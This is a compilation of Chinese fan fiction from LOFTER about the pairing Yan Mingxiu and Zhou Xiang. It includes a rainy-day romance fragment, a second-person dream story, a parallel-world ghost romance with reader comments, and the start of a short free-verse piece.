周翔能看到晏明修俊美漂亮的侧脸,差点回不过神来,而晏明修像是注意到了那难免有些灼热的视线,眼尾向下斜看他一眼,这一眼让那颗原本就有些躁动的心脏,这时候跳的更加用力,咚咚咚犹如实质般撞在胸膛上。
还没等他自己意识过来,身///
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体已经先一步反应,周翔干脆地扬起下巴来,亲在了那张有点冰凉的脸蛋上,晏明修眯了下眼睛,喉结滚了滚,没有推开他。
周翔只是蜻蜓点水一样轻轻碰了下,反倒是挨亲的晏明修,还没琢磨过来这个算不上吻的吻到底是什么意思,就已经猝然结束。
他意识到自己那股意犹未尽的反应,几乎是恼羞成怒一样地倒退半步,又大步往前走开了,以此来遮掩脸上明显浮起的一层薄红。后面周翔赶紧跟上他的步子,心底未免有些惴惴不安,他想着,难道晏明修生气了?
可他刚才明明也没推开自己。
周翔嘀咕着,却能看见走在他前面半步的晏明修藏在发丝下面,有点发红的耳朵。
“生气了?”
“……没有。”晏明修闷闷地回了一句,几乎是逃一样地往停车的地方走,而他后面的周翔的笑声都快忍不住了。
晏明修羞恼得眼睛冒火,心跳却诡异地加快了。
在这一场大雨里,噼里啪啦的雨声,遮盖住了两颗心脏过于躁动不安的心跳声。
回家后周翔打连打了好几个喷嚏,晏明修把他身上的外套丢到一边去,把人赶到浴/室洗//澡。
周翔站在门边上,看到晏明修撑伞时候为了给他挡雨,自己也湿了半边的衣服,忍不住开口:“要不然一起洗吧?”
晏明修抱着手臂站在那,眼神一横,问他:“你确定?”那股视线毫不遮掩地扫过周翔被雨淋湿,以至于贴在胸/口的衣服上,让周翔浑身一颤,悻悻一笑,自己先溜进去了。
他出来时候晏明修已经换掉了衣服,穿着之前买的家居服,围着围裙站在厨房,周翔吸吸鼻子,空气里飘来一股浓烈辛辣的姜味。
这一幕无疑让他愣了神,恍惚间竟然又产生了一丝不切实际的幻想。
晏明修熬姜汤的时候被周翔伸手从后面紧紧抱住了:“原来你会做饭啊?”
晏明修垂下眼睛,漫不经心地嗯了一声,又说:“你一会多喝点。”
“都怪你这个时候跑去淋什么雨。”周翔连听他抱怨都觉得可爱。
他想,他完了。
晏明修皱了下眉,好半天没听到周翔的回应,终于有些不耐烦地回头要问他到底听没听自己说话。
刚一回头就被一双火热的嘴唇吻上,晏明修眼睛一暗,毫不迟疑地伸手抱住了那截细韧的腰,又关掉了已经熬的差不多的姜汤的灶火。
14. 修普诺斯之梦
月面廃墟
From LOFTER
【晏周】修普诺斯之梦
*修普诺斯:睡神,源自希腊神话。
周翔第二人称注意。
-
你是被周围的一片混乱嘈杂吵醒的。
但你睁不开眼,上下眼睑都像被胶水粘合住。你屏住呼吸,将所有注意调动到眼周附近的肌肉群上,却始终睁不开眼。疲软、倦怠,力气像打在棉花上,又像是掉落进另一个无底深渊。
最后你放弃了。你想,好吧,好吧,我知道这是个梦。既然没有人来把我叫醒,那这又有什么尴尬的呢?于是你心安理得地放松了四肢,仿佛自己依旧与枕边人交颈而眠。你的视野漆黑一片,只是隐隐能感受到亮光试图透过你薄薄的眼皮。但你的精神却始终提防着——你现在是什么样子?又是身处何地?周围的人为什么吵个不停?
——在你产生想法的一瞬间,便如同拨云见日,幽远的声音自深海浮上水面,多年的工作经验使你很快就听明白了他们交流的内容:这是个摄影棚,似乎马上就要准备拍点什么,但那个大腕儿的明星迟迟未到。你听到有人跑上跑下,手里抱着的文件夹不慎掉落在地,却在弯腰捡回的瞬间让自己怀里捧着的东西全都散落一地;你听到有人有人拨通了电话,托这是个梦的福,忙音、铃声、包括对方那边夹杂电流的回应,全都一清二楚地灌进了你的耳朵里。
“姜助,晏总什么时候能到啊?我们这边都布置好了,就差您二位来了。”
晏……总…?
有点熟悉。
“不好意思不好意思。”那边的声音听起来饱含歉意:“明修这边有个会耽搁了,我们现在已经在路上了,大概十分钟左右就到。您让化妆师先做好准备就行。”
晏明修?
你几乎不假思索地便将这两个姓氏和名字串在一起。可他是谁?你认识他吗?你试图回忆什么,但大脑却苍白得如同摆设,似乎你只是个能接收外界信号的机器。
那我又是谁?
你突然有些茫然,直到“周翔”两个字缓缓浮现于脑中,一颗悬着的心才缓缓落地。至少你不是什么也不知道,至少你知道自己是谁。你试图顺着这个姓名回忆更多,但无论朝着哪个方向摸索,都是被唐突截断的思绪。
也没什么不好的,只是梦而已——然而这个想法只是短短地存在过。你很快就再次产生了想要睁眼的念头,那个叫做晏明修的男明星到了、下车了、进场了。与他一同而来的是不断的快门声以及记者的提问声,相比之下,助理维护秩序的场面话在镜头面前显得微弱而渺小,但你不曾听到那位男星开口回应,他只是向前走,走进场内,又将一众记者隔离在外,然后他站在导演面前,淡淡地道了句歉。
你正疑惑对方该不会是个哑巴,低沉的男声打消了你所有的顾虑。
与此同时的,你渴望睁眼的念头越发躁动。似乎你来到这里的目的,你诞生意识的意义就是为了看看他,看看这张引起轰动的脸究竟该是怎样的仙姿佚貌——然后霎时间,光线突然如同疯狂涨潮的海面,从四面八方没过岸礁、漫进眼底。你被高功率的棚灯照得睁不开眼,却还是试图寻找他的位置。
你以为你会和周围人一同惊叹,事实上却对这张脸熟悉得不能再熟悉。
你想起来了。
你想起来,所有丢失的记忆在看到他的一瞬便乘着色彩回到原位,那是你前不久刚成婚的爱人,而他本该在你身侧,与你相拥而眠。
你开始好奇他究竟为什么会出现在这里,因为自从你开始挑大梁做男主,他除了为你配戏之外几乎不再参加任何露脸的活动。又何至于一个人来这里拍广告?而且他看起来状态很差,像是从未睡过一个好觉,眼下的青灰在上妆之后才堪堪遮住,连嘴唇都泛着不正常的白。
他似乎察觉到你,视线微微往你所在的位置偏来。
你有一瞬的慌张,像个走神回来刚巧碰上老师提问的学生。你心虚地低下头。可是随即就发现,老师不在乎你,周围的同学也不在乎你。他的视线只是无意间扫过,没有人会注视一团空气吧?
于是你看着他低头与导演对话,时不时点头,然后便有人带着他去到摄影棚中。
工作人员陆续回岗,又有人递给他一只表。
你眯了眯眼,突然对所处的时间有了猜测。
他试拍时表现并不好,甚至可以用糟糕来形容。导演的脸色从喜悦变为难以言喻,又碍于他的身份,只能旁敲侧击地提了些建议。他第二次拍摄时,你突然发现自己能动了,于是快步走到摄像机旁,看他的面孔在画面里由远及近,看他眼底始终不变的疏离和冷漠。他抬手系上腕表,动作贵气,露出的那节手腕却呈现不健康的青白。
但你很快就被他西装袖上两枚闪光的东西夺去了视线。
一对袖扣,你曾经送给他的——你觉得那玩意价格不低,可如今在他身上,却连他手上那块表的零头都比不上。你听见这次拍摄结束后品牌商和他交涉,劝他换上同档位的袖扣,却被他毫不留情地拒绝。
“不会换的。”他低声说。
“我要让他看到。”
他声音很轻,近乎呢喃,却被你听得一清二楚。
你突然感觉胸腔里有什么跳跃的东西被攥紧了,酸涩得像挤出汁的柠檬。
你趁着休息偷偷走到他身边,看着他愣神地发呆,看着他低垂着头,只留给你一个精心打理过的发顶。你看到他价值不菲的白西装不知何时蹭上墙灰,便下意识伸手替他掸了掸。
当然没有用。
你的笑容凝在脸上,于是默默收回了手。
他的肩膀突然迟钝地僵了僵。
你明明站在他身后,声音却清晰地不像隔着后背。才发现对方不知何时已经转过身,看着你身后那堵灰白的墙,轻声喊了你的名字。
“……你在吗?”
你碰不到他,任凭你有千万种回应他的方式也只能眼睁睁看着,看他像个默片演员,盯着一堵永远不会回应的墙,他眼神深处升起的一点火苗终究是要熄灭的,那只不过是湿火柴碰巧擦亮的火星。你蹲下身,就这么支着下巴看他,在他转过身去之前却突然捕捉到一抹笑容。
“我多想了,你来了怎么会不和我说呢。”
你以前总是希望那张脸上能够多些笑容,却也不希望是此时这般无助的自嘲。“我在,我在的。”你说,你尝试控制幅度,从背后轻轻拥住他,就仿佛切身感受他不存在的温度。
“你再等等,再等等就好了。”你清楚他听不到——就像你清楚这空白的两年永远是一道横越在你们之间不能被揭开的伤疤那样清楚——但你已经憋不住心中快要无法承受的苦涩。
他摇摇头,缓缓地把手伸向口袋。
你看见他掏出一串项链,银链子上面坠着两枚圆环。他摩挲着其中一枚,声音轻得像在叹息:“给你买的,你会喜欢吗?”
“你不喜欢也行,我们再挑。但你总得看看吧。”
于是你绕到他身前去看。
那
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赫然是他不久前才套在你手上的戒指。
你绝对不会记错——但他手里的两枚戒指比你拥有的看上去要旧很多,在强光灯下甚至能看见上边隐约的划痕。他看见他将稍大的那一枚套进自己的无名指,张开五指举在灯下,那条银链子和属于你的戒指自然地垂下来,垂到离他指根最远的那一端。
“你会离我这么远吗?”
他垂下手,将银链和那枚戒指抓进掌心。尔后整个人蜷缩起来,仿佛将最珍贵的事物埋进胸膛。你听见他微弱的哽咽,又像在求助,但你什么也做不了。
你什么也做不了,手足无措地站在一旁。一分钟漫长地仿佛一个世纪那么久,然后他突然坐直了身体,摘下戒指,将项链仔细收进口袋里。你像背后灵一样跟在他身后,听到他和工作人员说:“继续拍吧。”
你的视线不再集中于他的脸,而是在他手上那刚摘下戒指还未完全消去的印记上。
然后你突然变得急躁了,甚至开始徒劳地怨恨这个灰暗不已的梦。他频频出错,你就在摄像机边上反复踱步。为什么偏偏是你要梦见这样的故事,为什么偏偏是你要重新体会他曾经历过的痛苦?为什么偏偏是你和他要经历过这么一段倒霉的事情才能厮守?
你无法区分真假,甚至连醒来也做不到。
你隐约感觉有人在看你,回过神时才发现他又朝着你的角落看了过来。
他的目光毫无阻碍,直勾勾的,让你也好奇地转过头去,看在你身后究竟发生了什么。
他却突然匆匆打断了拍摄,拨开人群往你走来。你听到从背后传来逐渐逼近的脚步声,于是你扭回头——
这是你第一次在他眼里看到自己。
-
你突然惊醒的时候才凌晨三点,四周漆黑,只有月光透过薄纱窗帘影影绰绰。冷汗的粘腻在你回过神时便显得格外明显,你颤抖着抬起右手,看见那枚依旧圈在无名指根的银环,比你指尖还要冰冷。
他大概是察觉到你的动静才醒过来,打开床头的小夜灯,又揉了揉眼睛。“怎么了?”
你露出一个比哭还难看的笑容。“……没事。”
他眯了眯眼,将你重新揽入怀中。“那睡吧。”
事实上你和他身形差不多,他搂住你,却也不能完全将你圈进怀里。你往下靠了靠,在冷调香气中找到了那有力而规律的心跳。你有些闷闷地开口:“明修,你睡了吗?”
“还没有。”他的胸腔微微震动。
你轻轻蹭了蹭那温暖的肌肤,“……我做了一个梦。”
“嗯,梦见什么了?”
“这对戒指。”你突然抽出一只手,与他十指相扣。“还有另外一对旧的,是吗?”
你明知道这是个荒唐可笑的梦,却还是忍不住想问出口。你想,这比在梦里要好得太多太多了,起码你能感受到他的体温;起码你能与他毫不费力的交流;起码你没有亲身经历那曾经不堪回首的时间。
“算吧。”你听见他笑了笑,毫不犹豫地承认:“也不算?”
“那是对赝品。”他的声音越来越低,像快要睡着了。“你在哪儿找到了吗?”
“没有,我就是猜猜。”你闭了闭眼,“睡吧,我困了。”
他在昏沉的月色中将你搂得更紧,让戒指也染上逐渐升高的温度,你轻轻碰了碰他的戒指,在这寂静的夜中便忽然传来一声脆响。
Fin.
-
谢谢美丽官图…以上是毫无关联但的确萌生于此的屑短打(土下座。
15. 庭院风
林泠野
From LOFTER
【晏周】庭院风
是活动文,平行世界十五岁奶晏x1.0死后穿越回过去的鬼魂翔哥
“你是唯一予我真心的人类,也是让我心甘情愿异常的病毒。”
雪狂乱的下,天空泛着淡淡的蓝紫色,仿佛有数百万只萤火虫在飞舞。
街道上只零星几个人经过,统统脸颊紧绷,样子行色匆匆。晏明修裹紧了风衣,不禁打了个哆嗦,只觉得这种衣服真是贵而不讨好。除了能把人装扮的跟衣架子似的,其他怕是什么用都没有。
早知道就该穿个羽绒服。他刚有一刹那悔意生在心底,耳边便立时传来熟悉的轻笑声音。
“觉得冷了吧,”那声音听起来像成年男子,可是音调略高,轻飘飘的,空茫像雾霭。“都跟你说了今天降温,不听老人言,吃亏在眼前嘛。”
要是旁边还有别的人,此刻大抵是要尖叫了。无他,这个男孩身边并没有其他人。手机也好好放在兜里,也不存在打电话的可能。
该不会是,白日见鬼了吧。
晏明修把手插进兜里,瞟了一眼身边空旷的雪地。十五岁的少年身材颀长,挺拔如修竹,偏偏容貌又极盛。一眼望过来的风情,不知道倾了多少少女的心。
“谁要你啰嗦了。”他半带怨气的说。孩子都是这样,那股怨怼源于被叮嘱过不要做什么之后执意反抗,最后得到的还是已经被年长者预言的结果。于是说是怨怼,其实大多都是羞赧和尴尬。“明明也没比我大多少,整天还用我妈的口吻说话。”
周翔的脸隐在雪和白雾营造的那片茫茫的空间里,闻言舌尖一掩收了声,摊摊手不再说话了。好歹也相处了半年有余,他早就摸清了少年的脾性。
不过就是一个家境很好,心高气傲的孩子。只要掌握好分寸,不逗狠了,甚至还能用可爱形容。
于是他慢腾腾跟在晏明修后面飘,看着他负气在前面走,双脚重重踩在地上。晏明修走过的地方,雪地下陷出一个坑来,一行脚印清晰的太过,莫名其妙让周翔觉得有些难受。
起码这片雪地会记得,有哪些人经过的时候,拥有生命的重量。
紧接着他就摇摇头哂笑一声,心想他都这样了,该不会还能滚两滴鬼眼泪出来吧。人都死了,还管那么多干什么。
他鬼生不长,刚睁开眼睛做鬼的时候,也曾疯狂的注视着所能看到的一切。那时候才有感觉,看每一个活着的人都觉得羡慕。
曾经浪费的,后来也是最珍贵的。
等周翔重新整理好自己乱麻那样的心情,才后知后觉发现,他已经落下了好大一段距离。他紧赶慢赶飘过去,发现少年已经渐渐慢下来,最后甚至站在雪中不动了。一双撒进星屑的眼睛里写满怅然若失,就像幼童弄丢了最喜欢的毛绒小熊。
“你……你还在吗?”晏明修张了张嘴,声音干哑的自己都心惊。他走的太远,回过神才突然感觉到无边的孤独向他覆过来。稚嫩的肩膀落满了雪,脖颈上似乎压上了一条银河的重量。
“周翔……?”
漂亮的孩子露出失落的表情,总让人不免生出些把他揽进怀里的温情。周翔也不例外,他还没来得及飘回他身边,就开始扯着嗓子彰明自己的存在,甚至不在乎会不会有人觉得诡异了。
“我在。只要你回头看,我就一直在。”
晏明修听到了他的话,不免露出一种虽说惊喜但还是要强行掩盖的情绪。虽然表情诡异了些,可是放在这张脸上,怎么都能让人觉得一眼心动。
“你绝对不能离开我。”
少年带了些哭腔。他本能地探手去够,可是明明看到了眼前人的影像,手却只能碰到渺远的空气。
我是鬼啊,亲爱的小朋友。周翔叹气,他纵使想去拥抱他,也是有心无力。
放在半年前,晏明修说什么都不信,自己还能见到所谓的鬼。
那些东西不是想象,就是各种光线折射。他冷淡地回复了主动凑过来的女孩子的话,合上书起身离开了图书馆。
学校里格格不入的孩子,总能成为所有人的注目对象,特别是当那个孩子还有一张好面皮和一份好成绩的时候。晏明修穿过长长走廊,再路过体育馆门口。现在正是下课的时候,不少男生已经在里面挥汗如雨,享受运动带来的乐趣。欢呼和喧闹声隐隐透过建筑材料传到他耳边,听起来像被蒙上了一层薄膜。
从小到大,同班的男生不喜欢他,女孩子却对他爱得痴狂。老套的情书贺卡巧克力收了一堆,然后再拿去垃圾桶丢掉。他从来不给人正面回应,有也只是冷淡地拒绝,结果却让她们的恋慕愈演愈烈。
大抵是因为每个女孩儿都需要一场染着玫瑰色的幻想,不论是冰山王子还是温柔学长,青春里总得有一个踏月而来,光耀她一生的人存在。
可男生们不这么想,哥们儿义气通常建立在一块打球考试作弊翻墙撸串和打游戏之上。不肯参与那些汗淋淋湿漉漉,热气腾腾活动的人,就从此与勾肩搭背这四个字无关了。所以高中三年,晏明修一直独来独往,鲜少和人有什么交流。
有老师注意到这一点,却也搞不清是晏明修孤立了其他人还是其他人排斥了他。而无论是晏飞还是晏德江,都在看到他近乎满分的成绩单之后,就放心地撒手不管了。
孩子嘛,不都这样过来的。晏飞三言两语抹消了妻子对小儿子的担忧。他大手一挥批准了晏明修想在外面租个房子的请求,雇了个做饭阿姨之后就不怎么管他了。
晏明修如愿以偿从那个逼仄的四人间搬了出去,他还是喜欢一个人独住,总觉得连别人的呼吸都打断了他的思考。做饭阿姨每天上午会过来,做好一天饭菜之后就放在冰箱里留他自己加热。也有钟点工一星期来两次,里里外外清扫房间每个角落。
于是晏明修的生活逐渐安静下来,充斥身边的是书页文字和网络上的新闻页面。有时候他漫步在屋内,微冷空气会飕的卷进来。落日撒下金色的余晖,爬过地面,从下面照亮了他的脸。
他以为他的生活会一直这样波澜不惊的过下去,结果周翔突然出现,成了他平静人生里唯一一个意外。
好像黄昏再临,有霞光穿透铅云,裂口里逐渐透出人所能想到的最甜美的粉紫色。
“你……能看到我?”
一人一鬼都惊的不行,周翔指着自己的胸口,颤巍巍发问。他早就看遍了周围,这小区里人本来就少,现在他旁边根本没有任何一个能被误认为跟那人说话的对象。
晏明修头一次被噎得说不出话来,他睁大了眼睛,感觉艰难点头的那一瞬间,便推翻了自己坚定十五年的无神主义论。
他不过是想着在窗边歇一会,然后就发现了那东西的存在。晏明修猛的揉揉眼睛,第一千零一次做完心理建设后睁眼,发现还是什么都没改变。
白日撞鬼。
鬼的身体只有上半截,从腰部往下是一片空白,就好像曾经出过车祸,被生生撞断了半截躯体。仅剩的上半截身子也朦朦胧胧,只有五官还真切些,其余都像是笼在雾里那样。
他忍不住惊呼出声,声音理所当然引起了楼下鬼魂的注意。周翔本来是浑浑噩噩来到这里,正午太阳烈了些,所以才就近找了个树荫遮一遮。没想到捕捉到一声惊叫,一抬头就看到一个少年从窗边探出脑袋来,直勾勾盯着他,眼底写满了难以置信。
后来周翔好奇的不得了,他问晏明修说,为什么只有你能看到我?他自从做了鬼之后,原本以为路过他的人都会尖叫什么的,结果发现他们根本就看不到他。
晏明修那时候埋在桌子上写题,习题册堆了厚厚一摞,表情却还是轻松的。被问到的时候他也是一脸茫然,说不清楚自己怎么就看到了。
“谁知道呢。”他往后一看,发现周翔又扒在窗边看风景。他的腿还是没长出来,半截人靠在那里的模样十足十可以去拍惊悚恐怖片。
“在看什么?”他问,周翔一笑,温柔而落寞。“在看……要说看什么,大概是在看世界吧。”
“因为不知道什么时候就要真的走了,所以,看一眼就少一眼了吧。”
那时候晏明修还不知道,温柔的人通常都是这样诞生的。他们亲身经历许许多多的难过后,决定让其他人不再像自己这般难过。
这份血淋淋的体贴,人们称她为温柔。
自从他诡异的决定开口,让周翔进来的时候,似乎也就默许了让这只鬼参与进自己的生活。
这样的感觉出乎意料的好。他有恰到好处的温柔和宽容,即使他没有实体,但也足够迷人。夜在他眼里盛开,亲吻过一片海面。于是晏明修很快沦陷,十五岁的少年一次不小心看到GV,当天晚上在床铺辗转反侧,醒来后才面红耳赤发现,梦里都是鬼的那张脸。
梦总是能满足一切绮丽的幻想,他在梦里见到的那个人被补齐了躯体,拥有了一双修长笔直的腿。他着迷的抚摸过那人细瘦的腰,嘴唇吻上温热皮肉的感觉竟好的让人沉沦。
唯一的缺憾大概是,周翔看他的眼神是永远的清澈明亮。最开始的惊艳也只是对他的那张容貌,此后也只将他看做一个大孩子,不掺半点别的情感。
有时候晏明修也生出来些奇怪的想法,只有他能见到的周翔,只有他能看到的人——或者说鬼,某种程度上极大的满足了他的占有欲。世界那么大,有人的爱情是献身,有人的爱情是掠夺。而他则自觉,自己可能是那种有极强控制欲的人。
他偷偷做了测试,结果显示为纯粹的支配者。虽然少年还不懂得到底什么才是爱情,他也朦胧中认识到,如果是自己深爱的人,那么别人多看一眼,都会被理解为是对自己的挑衅。
要怎么对暗恋的人告白?晏明修在本子上烦躁地划拉两下,干脆丢开不管了。
自从遇见你,我便日日憧憬我们的将来。
可我们没有将来了。
周翔虽然死了,但还不是傻子。近一年过去,他看着那孩子从一开始的戒备变得放松,之后再变得有些紧张。他眼里的秘密逐渐增多,自己却不知道这样会掩去原本的星光。
晏明修去上学了,周翔借口今天太热了不爱动弹,就留在了房间内。鬼有些惆怅的盯着自己的半截腰,心想要是自己不死的话,早就主动追求这小家伙了。
少年眼里被掩饰很好的濡慕和生涩的爱情他看得清楚,成年男人对于这种感情总是极其敏感,他也曾经历过高中时代,当然懂晏明修此刻的心情。
他也确实很喜欢这个孩子,平时冷着一张脸,可歪着头冲他笑起来的模样,像一个漂亮的天使。一瞬间春花初绽,毫无扭转之势的花朵都因他复苏。
可是对象怎么看也不该是他啊,怎么想晏明修都该跟一个美艳的姑娘,再不济也得是个清秀少年在一起,然后终此一生。周翔想挠头,但是手一碰到脑袋,两方都化成蒙蒙薄雾,过一会才会复原。
他就一个魂魄,都不知道什么时候会被阎王爷手下小鬼勾走,不仅身体,连记忆都残缺不全。一开始他睁开眼睛,只知道自己叫周翔,其他一概不知。
新生的鬼魂魂体都弱,他神志不清,几乎要在光下灰飞烟灭。后来不知怎么就学会朦朦胧胧的跟着一缕白气飘,那感觉就像浮在云上,很舒服。他恍惚地深吸一口气,清醒过来的时候才悚然发现,他处在公墓里,呼吸的全是死气。
那时候周翔才真正接受了自己死亡的这个事实。他还身为人的那部分理智试图抑制住对死气的需求,渴求感却愈演愈烈。到后来他每每趁着晏明修睡着的时候往公墓跑,天亮就回来,有一次还跟灵车跑丢了,险些要被少年抓包他和死气的每日约会。
随着接触死气越多,他的魂体愈发凝实,虽然变不出生前的大长腿来,但是已经可以实体化一根手指,碰触到实物。他还记得用那根食指碰触花瓣的感觉,柔软的一如既往让人想落泪。
与此同时,他的记忆也在逐渐回归。人活着的时候,记忆从婴幼儿到成年顺次;死亡后再来找记忆,则只能从死前倒推。他先想起一片黑暗,想起泥石流,然后是苍翠挺拔的树木。
他跟一个人打电话,很生气,但更多的是种颓然。那人有错吗,也不尽然吧。他只是做着自己想做的事,自己开心的事。至于有没有伤害到他,那人根本不知道,也不关心。
周翔仍旧每天跟着晏明修到处乱走,把疑惑埋在心底,像亲手埋葬自己的尸块。他能想起的越多,就越能拼凑出自己生前的模样,就越怀念做人有多美好。他也逐渐记起了很多人的名字,他的父母,他的兄弟,唯一想不起来的,是那个最后跟他打电话的人。
似乎你,就是我生命里那一片无可避免的空白。
晏明修十六岁生日那天,周翔窝在他租来的小公寓里,心想他肯定能喝到第二天早上还晕晕乎乎,于是直接飘去了附近的公墓。等他吸足死气美滋滋再回来,却惊悚地在沙发上捕捉到一个喝到七荤八素的晏明修。
他不是应该在自己家吗,还回来干嘛?周翔莫名有种妻子红杏出墙被丈夫当场抓获的感觉,他试探的喊了一声晏明修的名字,发现人已经醉得不省人事之后,胆子不免大了许多。
“怎么喝了这么多啊……”他碎碎念着往卧室飘,心想再怎么样得给人取个毯子回来,就这样在沙发上睡一夜可不行。多亏化形进度已经到了整只手掌,连带了半个胳膊。周翔一面庆幸,一面翻出毯子抓着又飘回来。没成想,他刚给晏明修盖好了,想走的时候却被一把攥住了手腕。
周翔瞬间吓得三魂没了七魄,他僵住,想逃,又贪恋那只手上源源不断传递来的热度。晏明修微微挪动一下身体,脸色发红,呢喃着说翔哥你别走。弄得周翔心都要化他身上。
不走。他扣紧了晏明修的手,直到少年再度沉沉睡去,才把自己的手化为魂体,像细沙那样流动出来。
鬼魂不需要睡觉,于是他就这么凝视着晏明修的脸,从半夜到凌晨再到天光大亮。这么好看的人啊,满身星月静栖,赢我一生爱意。
周翔嘴角勾着,笑容薄凉。月
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光穿透他的魂魄散射在地面上,像一瓣一瓣花瓣纤细的白蔷薇,轻巧地把他割到体无完肤。
可伤我最深的似乎也是你。在那一天周翔终于想起全部的过去,他无望的单方面付出的爱情,也让他单方面付出了生命。他死在十万大山里,灵魂却莫名其妙回到过去,命定那样遇见了十五岁的晏明修。
他终于绝望的承认,这个灵魂天生就适合爱他,也天生就活不长久。如果人彻悟的程度等于他所受痛苦的深度,那么周翔甚至觉得,自己能直接跳过修炼,直接成为一代鬼仙。
他终于看累了,于是又像最开始那样趴在窗台上。月色温凉,夜幕下蝴蝶已经消失了,只有蛾还在飞舞。他还是喜欢蝴蝶,因为那小生灵有种优雅、稍纵即逝的特质。如果人生真的是一场梦,那么用来暗示的最佳比喻就是蝴蝶。
也许是时候离开了,他想。做鬼做久了,也知道想找阎王勾魂其实容易的很。寺庙里的金铃和公墓里的死气,都是可以招来小鬼的东西。他只需要等待一个人的死亡,跟着他的尸体一路前往坟场,就能遇见拿着生死簿打钩的鬼差,喝一碗孟婆汤重入轮回。
要是想象可以再美好些就好了。他想躺在小舟上,小舟浮在河面上。黑衣的骷髅划着船,水里偶尔飘过的鬼魂绿莹莹像水母,偶尔在水底冲天空咧开一个空洞笑容。他身上覆满白花,大朵大朵地盛放着散发馨香。他们会去冥河尽头,再走一场大梦三生。
我都不知道,从此之后你眼睛的颜色,能叫我这么难过。
世间的情爱何其多,有人可以虚掷一生共同生活,却不知道彼此的姓名。
晏明修皱紧眉头,强令自己的视线从屏幕上那人的身影离开。电视上白衣少侠跃入水中,月光湿淋淋照耀在他身上,每一滴水珠都因经过那具躯体而显得无比动人。
他几乎一瞬间就为这个背影倾倒,宽肩窄腰,简直脱胎于他那些绮丽颓靡的梦里最下流的性幻想。
可这样不就是某种程度上的背叛吗。他怀着忐忑和不安,通过各种途径查到那个演员的名字,心里的小天平摇摇晃晃,一人一鬼在天平两端,只看他的心会偏到谁的身旁。
是周翔,还是汪雨冬?十六岁的少年面对艰难抉择仓皇而逃,却不知道已经陷入了米诺陶诺斯的迷宫,没有线团就找不到出路。他无比肯定自己深爱的人是周翔没错,但人的本性便是贪恋同为人类的那个人的温度。
不然肌肤相触又有何意义?温热的肌体,颤抖的唇瓣,唇齿下移到脖颈叼住喉管摩挲,体验那种汩汩流动的磅礴生命力。
这简直是一道送命题。
时间一点点流逝,他十七岁的生日即将临近,少年的坏脾气也与日俱增。他可以摔了盘子冲周翔吼,然后把自己关进屋里谁也不见。他不敢看那双一如既往温柔的眼睛,却切实体验到出轨带来的那股甘美的死亡电流。
周翔脸上的笑容在晏明修的门甩上之后,像潮水那样褪去。他安安静静去把地板打扫干净,化形而出的双手没摸到恋人的脸颊,先扎进了瓷器碎片。没有血液,流出的都是吸收进的死气。
或许他该摆清自己的定位。即使这是一个平行世界,他比汪雨冬先遇到晏明修,似乎也改变不了将要发生的一切。
晏明修的留学手续早已办妥,机票已经买完,只等主人收拾好自己的行装,就能坐上飞机前往远方。
那么,我想你也不会再需要我了。黄昏再临,然后入夜。周翔从来的那个窗户里飘出去,一如既往无声无息。他试图给晏明修写点什么,但笔拿的不稳,只在纸上涂画出裂口一样的痕印。
他在公墓里摇响了铃铛,两重保障,小鬼踩着一地黄色纸钱前来,他绝对会被带走了。
天空上星幕繁盛如花,可如果跟着北极星就可以走出迷途,那所有人的蒙昧,所有人要去的地方,都一样吗。
周翔跟着招魂的小鬼去往三生河,洗去鬼身记忆之后,在另一具躯壳内重生。第一眼看到一个欣喜到失声痛哭的中年妇女,第二眼是他以前的好哥们蔡威。
这具身体……怎么也叫周翔?他很疑惑,原本以为自己死在十万大山里,怎么一闭眼一睁眼就换壳了?
十七岁的晏明修终于理清了自己的爱情,可等他想要找到那个人的时候,却发现一切都是徒劳。鬼魂要怎么找到,那些常人都不认为他们存在的东西。他浑浑噩噩上了飞机向异国他乡逃亡,觉得自己可笑极了。
他说不爱他,就像小朋友手里攥着一把糖。连糖纸都露在外面,却拼命摇头说,没有,我没有。
他小心的收好了那张被涂画过几笔的纸页,折成四折揣在兜里,放在贴近心口的地方。你会看到吗,晏明修漫步在雪后街道上,雪还是一样的下,只是那个轻笑着的魂灵不见了。
我错了,我真的知道错了。你还愿意回来吗,还愿意看看我吗?我对你的爱如今漫山遍野,日后绵绵不绝。
三年后他回国,依姐姐的托付去片场找他的未来姐夫。结果一踏进剧组,呼吸就立时停滞。
是你吗?晏明修如遭雷击。他两步奔过去,一把从后面揽住了那个人的腰。第一反应不是很细,而是热的。这具躯体是真的,热度是真的,他是活着的。
是你终于回来找我了吗?
那人疑惑的别过头来,见到是个半大青年,便露出一个晏明修熟悉至极的温柔笑颜。
“你……你叫什么名字?”晏明修的手在抖,声音也在。十指嵌进那人一身戏服,弄得平整衣服褶皱一片。
“你先放开我吧,”他皱了皱眉,笑容未减。“是认错人了吗?我叫周翔。”
没认错啊。晏明修鼻尖一酸,眼泪近乎要流出来,仿佛有尖锐骨刺扎进心脏,一瞬间温热液体溢满胸腔。
迷失的人迷失了,相逢的人还会再相逢。
——End.——
稍微解释一下,大概是1.0翔哥死后,穿越去平行世界,赶在汪雨冬之前见到了十五岁的奶晏。因为对他失望了所以决定真正去死,在三生河洗去做鬼的记忆,重生回原世界变成2.0,这个世界走水大原文剧情。
平行世界的奶晏认识到自己爱的是翔哥的时候,周翔已经走了,于是他去了国外,三年之后回来在片场遇到了平行世界的1.0翔哥。之后是甜是虐就不清楚了,或许晏晏翔哥一辈子没经历过那些误会错过甜甜蜜蜜在一起,或许晏晏还是忘不了鬼魂翔哥于是把现在这个也当替代品。
也就是在这个平行世界里,其实是有两个“周翔”这样子,一个是未来回来的鬼,一个是完全不知道将来的事的人。
写得乱七八糟哈哈哈,谢谢你能看到这里
完全自杀天才
太绝了,刀上裹糖糖里夹刀
19
?
焰河
呜哇啊啊啊啊啊,还我眼泪!这是什么小糖铺,他们错过了这么多次了,啊啊啊啊结局是翔哥按原著重生没有当鬼的记忆遇到了闯到鬼的晏明修?!这。想起来又是一把大刀啊啊啊啊
16. 执念
严夜希
From LOFTER
执念(晏周)
我有很久没见过晏明修了
却又天天看见他
人好像总要等到无法挽回的地步才会释怀
我不知道他现今如何,但我是如此
我死后去了很多地方
看过潮汐往复,看过日落月沉
我见过失而复得,也见过生死离别
才知晓,原来我同他之间
确实算不得什么大事
无非是些爱恨情仇,求而不得
我不得,他亦不得
若离于爱者,无忧亦无怖
我摇头苦笑,虽说佛法庄严
可如今我一枉死之魂也入得佛前庙中
又如何让我相信因果循环之说
我想着我是释怀的,孤家寡人,孑然一身
除去他,我对这世间并无多少沾染
既已放下,又为何还是执念不解
后来我才想通,若真的放下
我也不会数年不敢回去
我游遍世间,叩遍佛前
却独独不敢回到他面前去看他一眼
如此种种,便生因果,难怪佛不渡我
